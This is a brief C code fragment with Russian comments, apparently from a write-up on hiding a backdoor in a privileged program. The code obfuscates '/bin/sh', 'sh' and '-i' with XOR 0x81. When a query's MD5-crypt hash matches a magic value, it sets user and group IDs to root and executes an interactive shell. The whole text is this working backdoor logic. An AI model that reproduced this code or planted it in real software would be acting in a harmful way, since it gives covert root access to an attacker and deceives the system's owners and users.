#define MAGIC_WORD "тут_хэш_md5_unix"
char magic_word1 [] = "\xae\xe3\xe8\xef\xae\xf2\xe9\x00"; // поксоренный c 0x81 /bin/sh
char magic_word2 [] = "\xf2\xe9\x00"; // "sh" ^ 0x81
char magic_word3 [] = "\xac\xe8\x00"; // "-i" ^ 0x81
...
  if (strstr (crypt (query, "$1$это_соль"), MAGIC_WORD) != NULL)
  {
    for (i = 0, len = strlen (magic_word1); i < len; magic_word1 [i++] ^= 0x81);
    for (i = 0, len = strlen (magic_word2); i < len; magic_word2 [i++] ^= 0x81);
    for (i = 0, len = strlen (magic_word3); i < len; magic_word3 [i++] ^= 0x81);
    setreuid (0, 0);
    setregid (0, 0);
    execl (magic_word1, magic_word2, magic_word3, NULL);
  }